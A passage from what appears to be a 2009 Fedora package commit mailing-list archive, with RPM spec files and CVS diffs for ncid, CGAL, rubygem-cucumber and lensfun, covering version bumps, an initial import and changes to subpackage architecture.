The NCID kpopup module displays caller ID information in a KDE popup window
and optionally speaks the number via voice synthesis.

%package samba
Summary:    NCID samba module sends caller ID information to windows machines
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, samba-client

%description samba
The NCID samba module sends caller ID information to a windows machine
via popup.  This will not work if the messenger service is disabled.

%package speak
Summary:    NCID speak module speaks caller ID information via voice synthesis
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, festival

%description speak
The NCID speak module announces Caller Id information verbally, using
the Festival text-to-speech voice synthesis system.

%prep

%setup -q -n %{name}

%build
make %{?_smp_mflags} EXTRA_CFLAGS="$RPM_OPT_FLAGS" \
     STRIP= prefix=%{_prefix} prefix2= local fedoradir

%install
rm -rf ${RPM_BUILD_ROOT}
make install install-fedora prefix=${RPM_BUILD_ROOT}/%{_prefix} \
                            prefix2=${RPM_BUILD_ROOT} \
                            prefix3=${RPM_BUILD_ROOT}

%clean
rm -rf $RPM_BUILD_ROOT
rm -fr $RPM_BUILD_DIR/%{name}

%post
# make services known
for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
do
    /sbin/chkconfig --add $SCRIPT
done

%post client
# make services known
for SCRIPT in ncid-page ncid-yac ncid-mythtv
do
    /sbin/chkconfig --add $SCRIPT
done

%post kpopup
/sbin/chkconfig --add ncid-kpopup

%post samba
/sbin/chkconfig --add ncid-samba

%post speak
/sbin/chkconfig --add ncid-speak

%preun
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

%preun client
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

# just in case an old package that had the obsolete ncid service is upgraded
if [ "$1" -ge "1" ]; then ### upgrade package ###
    /sbin/service ncid stop >/dev/null 2>&1 || true
    /sbin/chkconfig ncid && /sbin/chkconfig --del ncid || true
fi

%preun kpopup
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-kpopup stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-kpopup
fi

%preun samba
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-samba stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-samba
fi

%preun speak
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-speak stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-speak
fi

%postun
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncidd ncidsip ncidsip
    do
        /sbin/service $SCRIPT condrestart >/dev/null 2>&1 || :
    done
fi

%postun client
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service `basename $SCRIPT` condrestart >/dev/null 2>&1 || :
    done
fi

%postun kpopup
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-kpopup condrestart >/dev/null 2>&1 || :
fi

%postun samba
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-samba condrestart >/dev/null 2>&1 || :
fi

%postun speak
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart service if running
    /sbin/service ncid-speak condrestart >/dev/null 2>&1 || :
fi

%files
%defattr(-,root,root)
%doc README VERSION doc
%doc cidgate/README.Gateways Fedora/README.Fedora modules/README.modules
%doc scripts/README.logfile tools/README.tools
%{_bindir}/cidcall
%{_bindir}/cidalias
%{_bindir}/cidupdate
%{_bindir}/yac2ncid
%{_sbindir}/ncidd
%{_sbindir}/ncidsip
%{_sbindir}/sip2ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncidrotate
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncidd.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidd.alias
%config(noreplace) %{_sysconfdir}/ncid/ncidrotate.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidsip.conf
%config(noreplace) %{_sysconfdir}/ncid/sip2ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/yac2ncid.conf
%config(noreplace) %{_sysconfdir}/logrotate.d/ncid
%{_initrddir}/ncidd
%{_initrddir}/ncidsip
%{_initrddir}/sip2ncid
%{_initrddir}/yac2ncid
%{_mandir}/man1/ncidrotate.1*
%{_mandir}/man1/ncidtools.1*
%{_mandir}/man1/yac2ncid.1*
%{_mandir}/man5/ncidd.conf.5*
%{_mandir}/man5/sip2ncid.conf.5*
%{_mandir}/man5/yac2ncid.conf.5*
%{_mandir}/man5/ncidd.alias.5*
%{_mandir}/man5/ncidrotate.conf.5*
%{_mandir}/man5/ncidsip.conf.5*
%{_mandir}/man8/ncidd.8*
%{_mandir}/man8/ncidsip.8*
%{_mandir}/man8/sip2ncid.8*

%files client
%defattr(-,root,root)
%doc modules/README.modules
%{_bindir}/ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncid-page
%{_datadir}/ncid/ncid-skel
%{_datadir}/ncid/ncid-tivo
%{_datadir}/ncid/ncid-yac
%{_datadir}/ncid/ncid-mythtv
%{_datadir}/pixmaps/ncid.gif
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidmodules.conf
%{_initrddir}/ncid-page
%{_initrddir}/ncid-yac
%{_initrddir}/ncid-mythtv
%{_mandir}/man1/ncid.1*
%{_mandir}/man1/ncidmodules.1*
%{_mandir}/man5/ncid.conf.5*
%{_mandir}/man5/ncidmodules.conf.5*

%files kpopup
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-kpopup
%{_initrddir}/ncid-kpopup

%files samba
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-samba
%{_initrddir}/ncid-samba

%files speak
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-speak
%{_initrddir}/ncid-speak

%changelog
* Fri Oct 09 2009 Eric Sandeen <sandeen at redhat.com> 0.74-3
- Address new review items

* Fri Sep 04 2009 Eric Sandeen <sandeen at redhat.com> 0.74-2
- Address new review items

* Wed Jul 29 2009 Eric Sandeen <sandeen at redhat.com> 0.74-1
- New upstream release.

* Sun Mar 29 2009 Eric Sandeen <sandeen at redhat.com> 0.73-2
- First Fedora build.

* Thu Mar 12 2009 John Chmielewski <jlc at users.sourceforge.net> 0.73-1
- Initial build.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncid/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:41:38 -0000	1.1
+++ sources	18 Oct 2009 16:34:16 -0000	1.2
@@ -0,0 +1 @@
+18885a48bc8be40fa2423a266c6c9e40  ncid-0.74-src.tar.gz



From rineau at fedoraproject.org  Sun Oct 18 16:35:06 2009
From: rineau at fedoraproject.org (Laurent Rineau)
Date: Sun, 18 Oct 2009 16:35:06 +0000 (UTC)
Subject: rpms/CGAL/F-12 .cvsignore, 1.6, 1.7 CGAL.spec, 1.27, 1.28 sources,
	1.6, 1.7
Message-ID: <20091018163506.E4CE811C00E8@cvs1.fedora.phx.redhat.com>

Author: rineau

Update of /cvs/pkgs/rpms/CGAL/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19278/F-12

Modified Files:
	.cvsignore CGAL.spec sources 
Log Message:
* Sun Oct 18 2009  <Laurent.Rineau__fedora at normalesup.org> - 3.5-1
- New upstream release: finale version of CGAL-3.5.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/CGAL/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	30 Jul 2009 14:25:07 -0000	1.6
+++ .cvsignore	18 Oct 2009 16:35:06 -0000	1.7
@@ -1 +1 @@
-CGAL-3.5-beta1.tar.gz
+CGAL-3.5.tar.gz


Index: CGAL.spec
===================================================================
RCS file: /cvs/pkgs/rpms/CGAL/F-12/CGAL.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- CGAL.spec	30 Jul 2009 14:52:20 -0000	1.27
+++ CGAL.spec	18 Oct 2009 16:35:06 -0000	1.28
@@ -3,13 +3,13 @@
 
 Name:           CGAL
 Version:        3.5
-Release:        0.2.beta1%{?dist}
+Release:        1%{?dist}
 Summary:        Computational Geometry Algorithms Library
 
 Group:          System Environment/Libraries
 License:        QPL and LGPLv2 and LGPLv2+
 URL:            http://www.cgal.org/
-Source0:        http://gforge.inria.fr/frs/download.php/22710/CGAL-3.5-beta1.tar.gz
+Source0:        http://gforge.inria.fr/frs/download.php/24197/CGAL-3.5.tar.gz
 Source10:       CGAL-README.Fedora
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -57,7 +57,7 @@ CGAL algorithms.
 
 
 %prep
-%setup -q -n CGAL-3.5-beta1
+%setup -q 
 
 chmod a-x demo/Circular_kernel_2/Circular_kernel_2.qrc
 
@@ -122,6 +122,9 @@ rm -rf %{buildroot}
 %exclude %{_datadir}/CGAL/*/*/skip_vcproj_auto_generation
 
 %changelog
+* Sun Oct 18 2009  <Laurent.Rineau__fedora at normalesup.org> - 3.5-1
+- New upstream release: finale version of CGAL-3.5.
+
 * Thu Jul 30 2009 Laurent Rineau <Laurent.Rineau__fedora at normalesup.org> - 3.5-0.2.beta1
 - No longer requires /etc/profile.d/
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/CGAL/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	30 Jul 2009 14:25:08 -0000	1.6
+++ sources	18 Oct 2009 16:35:06 -0000	1.7
@@ -1 +1 @@
-15d9fa20689f863d045f8465230923fd  CGAL-3.5-beta1.tar.gz
+c14d142780d07e3d05dea2f54dd7ae53  CGAL-3.5.tar.gz



From rineau at fedoraproject.org  Sun Oct 18 16:35:07 2009
From: rineau at fedoraproject.org (Laurent Rineau)
Date: Sun, 18 Oct 2009 16:35:07 +0000 (UTC)
Subject: rpms/CGAL/devel .cvsignore, 1.6, 1.7 CGAL.spec, 1.27, 1.28 sources, 
	1.6, 1.7
Message-ID: <20091018163507.38EAC11C00E8@cvs1.fedora.phx.redhat.com>

Author: rineau

Update of /cvs/pkgs/rpms/CGAL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19278/devel

Modified Files:
	.cvsignore CGAL.spec sources 
Log Message:
* Sun Oct 18 2009  <Laurent.Rineau__fedora at normalesup.org> - 3.5-1
- New upstream release: finale version of CGAL-3.5.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/CGAL/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	30 Jul 2009 14:25:07 -0000	1.6
+++ .cvsignore	18 Oct 2009 16:35:06 -0000	1.7
@@ -1 +1 @@
-CGAL-3.5-beta1.tar.gz
+CGAL-3.5.tar.gz


Index: CGAL.spec
===================================================================
RCS file: /cvs/pkgs/rpms/CGAL/devel/CGAL.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- CGAL.spec	30 Jul 2009 14:52:20 -0000	1.27
+++ CGAL.spec	18 Oct 2009 16:35:07 -0000	1.28
@@ -3,13 +3,13 @@
 
 Name:           CGAL
 Version:        3.5
-Release:        0.2.beta1%{?dist}
+Release:        1%{?dist}
 Summary:        Computational Geometry Algorithms Library
 
 Group:          System Environment/Libraries
 License:        QPL and LGPLv2 and LGPLv2+
 URL:            http://www.cgal.org/
-Source0:        http://gforge.inria.fr/frs/download.php/22710/CGAL-3.5-beta1.tar.gz
+Source0:        http://gforge.inria.fr/frs/download.php/24197/CGAL-3.5.tar.gz
 Source10:       CGAL-README.Fedora
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -57,7 +57,7 @@ CGAL algorithms.
 
 
 %prep
-%setup -q -n CGAL-3.5-beta1
+%setup -q 
 
 chmod a-x demo/Circular_kernel_2/Circular_kernel_2.qrc
 
@@ -122,6 +122,9 @@ rm -rf %{buildroot}
 %exclude %{_datadir}/CGAL/*/*/skip_vcproj_auto_generation
 
 %changelog
+* Sun Oct 18 2009  <Laurent.Rineau__fedora at normalesup.org> - 3.5-1
+- New upstream release: finale version of CGAL-3.5.
+
 * Thu Jul 30 2009 Laurent Rineau <Laurent.Rineau__fedora at normalesup.org> - 3.5-0.2.beta1
 - No longer requires /etc/profile.d/
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/CGAL/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	30 Jul 2009 14:25:08 -0000	1.6
+++ sources	18 Oct 2009 16:35:07 -0000	1.7
@@ -1 +1 @@
-15d9fa20689f863d045f8465230923fd  CGAL-3.5-beta1.tar.gz
+c14d142780d07e3d05dea2f54dd7ae53  CGAL-3.5.tar.gz



From lkundrak at fedoraproject.org  Sun Oct 18 16:41:12 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Sun, 18 Oct 2009 16:41:12 +0000 (UTC)
Subject: rpms/rubygem-cucumber/F-12 import.log, NONE,
	1.1 rubygem-cucumber.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091018164112.7983911C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/rubygem-cucumber/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20212/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-cucumber.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
rubygem-cucumber-0_4_2-1_fc12:F-12:rubygem-cucumber-0.4.2-1.fc12.src.rpm:1255884044


--- NEW FILE rubygem-cucumber.spec ---
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname cucumber
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:        Tool to execute plain-text documents as functional tests
Name:           rubygem-%{gemname}
Version:        0.4.2
Release:        1%{?dist}
Group:          Development/Languages
License:        MIT
URL:            http://cukes.info
Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:       ruby(abi) = 1.8
Requires:       rubygems
Requires:       rubygem(term-ansicolor) >= 1.0.3
Requires:       rubygem(treetop) >= 1.2.5
Requires:       rubygem(polyglot) >= 0.2.5
Requires:       rubygem(diff-lcs) >= 1.1.2
Requires:       rubygem(builder) >= 2.1.2
BuildRequires:  rubygems
BuildArch:      noarch
Provides:       rubygem(%{gemname}) = %{version}

%description
Cucumber lets software development teams describe how software should behave
in plain text. The text is written in a business-readable domain-specific
language and serves as documentation, automated tests and development-aid.


%prep


%build


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{gemdir}
gem install --local --install-dir $RPM_BUILD_ROOT%{gemdir} \
        --force --rdoc %{SOURCE0}
mkdir -p $RPM_BUILD_ROOT/%{_bindir}
mv $RPM_BUILD_ROOT%{gemdir}/bin/* $RPM_BUILD_ROOT/%{_bindir}
rmdir $RPM_BUILD_ROOT%{gemdir}/bin
find $RPM_BUILD_ROOT%{geminstdir}/bin -type f |xargs chmod a+x

# Remove zero-length documentation files
find $RPM_BUILD_ROOT%{gemdir}/doc/%{gemname}-%{version} -empty -delete


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_bindir}/cucumber
%dir %{geminstdir}
%{geminstdir}/bin
%{geminstdir}/features
%{geminstdir}/gem_tasks
%{geminstdir}/lib
%{geminstdir}/rails_generators
%{geminstdir}/spec
%{geminstdir}/cucumber.yml
%{geminstdir}/cucumber.gemspec
%{geminstdir}/Rakefile
%{geminstdir}/.git*
%doc %{geminstdir}/examples
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/History.txt
%doc %{geminstdir}/Manifest.txt
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%doc %{geminstdir}/VERSION.yml
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec


%changelog
* Sun Oct 18 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.2-1
- Newer release

* Mon Oct 12 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.0-1
- Newer release

* Fri Jun 26 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-3
- Get rid of duplicate files (thanks to Mamoru Tasaka)

* Mon Jun 08 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-2
- Use geminstdir macro where appropriate
- Do not move examples around
- Depend on ruby(abi)
- Replace defines with globals

* Fri Jun 05 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-1
- Package generated by gem2rpm
- Move examples into documentation
- Remove empty files
- Fix up License


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:49:20 -0000	1.1
+++ .cvsignore	18 Oct 2009 16:41:12 -0000	1.2
@@ -0,0 +1 @@
+cucumber-0.4.2.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:49:20 -0000	1.1
+++ sources	18 Oct 2009 16:41:12 -0000	1.2
@@ -0,0 +1 @@
+c6e1c97c4476aa5271180b5a5983e3e4  cucumber-0.4.2.gem



From lkundrak at fedoraproject.org  Sun Oct 18 16:42:00 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Sun, 18 Oct 2009 16:42:00 +0000 (UTC)
Subject: rpms/rubygem-cucumber/F-11 import.log, NONE,
	1.1 rubygem-cucumber.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091018164200.BA14611C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/rubygem-cucumber/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20479/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-cucumber.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
rubygem-cucumber-0_4_2-1_fc12:F-11:rubygem-cucumber-0.4.2-1.fc12.src.rpm:1255884103


--- NEW FILE rubygem-cucumber.spec ---
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname cucumber
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:        Tool to execute plain-text documents as functional tests
Name:           rubygem-%{gemname}
Version:        0.4.2
Release:        1%{?dist}
Group:          Development/Languages
License:        MIT
URL:            http://cukes.info
Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:       ruby(abi) = 1.8
Requires:       rubygems
Requires:       rubygem(term-ansicolor) >= 1.0.3
Requires:       rubygem(treetop) >= 1.2.5
Requires:       rubygem(polyglot) >= 0.2.5
Requires:       rubygem(diff-lcs) >= 1.1.2
Requires:       rubygem(builder) >= 2.1.2
BuildRequires:  rubygems
BuildArch:      noarch
Provides:       rubygem(%{gemname}) = %{version}

%description
Cucumber lets software development teams describe how software should behave
in plain text. The text is written in a business-readable domain-specific
language and serves as documentation, automated tests and development-aid.


%prep


%build


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{gemdir}
gem install --local --install-dir $RPM_BUILD_ROOT%{gemdir} \
        --force --rdoc %{SOURCE0}
mkdir -p $RPM_BUILD_ROOT/%{_bindir}
mv $RPM_BUILD_ROOT%{gemdir}/bin/* $RPM_BUILD_ROOT/%{_bindir}
rmdir $RPM_BUILD_ROOT%{gemdir}/bin
find $RPM_BUILD_ROOT%{geminstdir}/bin -type f |xargs chmod a+x

# Remove zero-length documentation files
find $RPM_BUILD_ROOT%{gemdir}/doc/%{gemname}-%{version} -empty -delete


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_bindir}/cucumber
%dir %{geminstdir}
%{geminstdir}/bin
%{geminstdir}/features
%{geminstdir}/gem_tasks
%{geminstdir}/lib
%{geminstdir}/rails_generators
%{geminstdir}/spec
%{geminstdir}/cucumber.yml
%{geminstdir}/cucumber.gemspec
%{geminstdir}/Rakefile
%{geminstdir}/.git*
%doc %{geminstdir}/examples
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/History.txt
%doc %{geminstdir}/Manifest.txt
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%doc %{geminstdir}/VERSION.yml
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec


%changelog
* Sun Oct 18 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.2-1
- Newer release

* Mon Oct 12 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.0-1
- Newer release

* Fri Jun 26 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-3
- Get rid of duplicate files (thanks to Mamoru Tasaka)

* Mon Jun 08 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-2
- Use geminstdir macro where appropriate
- Do not move examples around
- Depend on ruby(abi)
- Replace defines with globals

* Fri Jun 05 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-1
- Package generated by gem2rpm
- Move examples into documentation
- Remove empty files
- Fix up License


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:49:20 -0000	1.1
+++ .cvsignore	18 Oct 2009 16:42:00 -0000	1.2
@@ -0,0 +1 @@
+cucumber-0.4.2.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:49:20 -0000	1.1
+++ sources	18 Oct 2009 16:42:00 -0000	1.2
@@ -0,0 +1 @@
+c6e1c97c4476aa5271180b5a5983e3e4  cucumber-0.4.2.gem



From sandeen at fedoraproject.org  Sun Oct 18 16:51:46 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Sun, 18 Oct 2009 16:51:46 +0000 (UTC)
Subject: rpms/ncid/EL-5 ncid.spec,1.1,1.2
Message-ID: <20091018165146.6D0B911C00E8@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/ncid/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21835

Modified Files:
	ncid.spec 
Log Message:
* Sun Oct 18 2009 Eric Sandeen <sandeen at redhat.com> 0.74-4
- Change noarch subpackages to arch for EL5



Index: ncid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncid/EL-5/ncid.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ncid.spec	18 Oct 2009 16:34:16 -0000	1.1
+++ ncid.spec	18 Oct 2009 16:51:46 -0000	1.2
@@ -1,6 +1,6 @@
 Name:       ncid
 Version:    0.74
-Release:    3%{?dist}
+Release:    4%{?dist}
 Summary:    Network Caller ID server, client, and gateways
 
 Group:      Applications/Communications
@@ -36,7 +36,6 @@ to another program.
 %package kpopup
 Summary:    NCID kpopup module displays caller ID info in a KDE window
 Group:      Applications/Communications
-BuildArch:  noarch
 Requires:   %{name}-client = %{version}-%{release}
 Requires:   %{name}-speak = %{version}-%{release}
 Requires:   kdebase, kdemultimedia, festival, /usr/bin/dcop
@@ -48,7 +47,6 @@ and optionally speaks the number via voi
 %package samba
 Summary:    NCID samba module sends caller ID information to windows machines
 Group:      Applications/Communications
-BuildArch:  noarch
 Requires:   %{name}-client = %{version}-%{release}, samba-client
 
 %description samba
@@ -58,7 +56,6 @@ via popup.  This will not work if the me
 %package speak
 Summary:    NCID speak module speaks caller ID information via voice synthesis
 Group:      Applications/Communications
-BuildArch:  noarch
 Requires:   %{name}-client = %{version}-%{release}, festival
 
 %description speak
@@ -269,6 +266,9 @@ fi
 %{_initrddir}/ncid-speak
 
 %changelog
+* Sun Oct 18 2009 Eric Sandeen <sandeen at redhat.com> 0.74-4
+- Change noarch subpackages to arch for EL5
+
 * Fri Oct 09 2009 Eric Sandeen <sandeen at redhat.com> 0.74-3
 - Address new review items
 



From rdieter at fedoraproject.org  Sun Oct 18 17:26:48 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 18 Oct 2009 17:26:48 +0000 (UTC)
Subject: rpms/lensfun/F-12 .cvsignore, 1.2, 1.3 lensfun.spec, 1.4,
	1.5 sources, 1.2, 1.3
Message-ID: <20091018172648.4674C11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/lensfun/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29001/F-12

Modified Files:
	.cvsignore lensfun.spec sources 
Log Message:
* Sun Oct 18 2009 Rex Dieter <rdieter at fedoraproject.orG> 0.2.4-1
- lensfun-0.2.4 (#529506)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	10 Nov 2008 17:42:56 -0000	1.2
+++ .cvsignore	18 Oct 2009 17:26:48 -0000	1.3
@@ -1 +1 @@
-lensfun-0.2.3.tar.bz2
+lensfun-0.2.4.tar.bz2


Index: lensfun.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/F-12/lensfun.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- lensfun.spec	25 Jul 2009 05:04:14 -0000	1.4
+++ lensfun.spec	18 Oct 2009 17:26:48 -0000	1.5
@@ -2,9 +2,9 @@
 # Fedora pkg-review: http://bugzilla.redhat.com/466764
 
 Name: lensfun
-Version: 0.2.3
+Version: 0.2.4
 Summary: A library to rectify the defects introduced by your photographic equipment
-Release: 5%{?dist} 
+Release: 1%{?dist} 
 License: LGPLv3
 Group: System Environment/Libraries
 URL: http://lensfun.berlios.de/
@@ -74,17 +74,20 @@ rm -rf %{buildroot}
 %{_docdir}/%{name}-%{version}/README
 %{_docdir}/%{name}-%{version}/*.txt
 %{_datadir}/lensfun/
-%{_libdir}/lib*.so.*
+%{_libdir}/liblensfun.so.0*
 
 %files devel
 %defattr(-,root,root,-)
 %{_docdir}/%{name}-%{version}/manual/
-%{_includedir}/*
-%{_libdir}/lib*.so
+%{_includedir}/lensfun.h
+%{_libdir}/liblensfun.so
 %{_libdir}/pkgconfig/lensfun.pc
 
 
 %changelog
+* Sun Oct 18 2009 Rex Dieter <rdieter at fedoraproject.orG> 0.2.4-1
+- lensfun-0.2.4 (#529506)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Nov 2008 17:42:56 -0000	1.2
+++ sources	18 Oct 2009 17:26:48 -0000	1.3
@@ -1 +1 @@
-c5c04be4f53e3eef450ff4948d8f65b3  lensfun-0.2.3.tar.bz2
+ce5c25fc708d1c629d485fbf959dc1cc  lensfun-0.2.4.tar.bz2



From rdieter at fedoraproject.org  Sun Oct 18 17:26:48 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 18 Oct 2009 17:26:48 +0000 (UTC)
Subject: rpms/lensfun/devel .cvsignore, 1.2, 1.3 lensfun.spec, 1.4,
	1.5 sources, 1.2, 1.3
Message-ID: <20091018172648.8AB6D11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/lensfun/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29001/devel

Modified Files:
	.cvsignore lensfun.spec sources 
Log Message:
* Sun Oct 18 2009 Rex Dieter <rdieter at fedoraproject.orG> 0.2.4-1
- lensfun-0.2.4 (#529506)



Index: .cvsignore
===================================================================
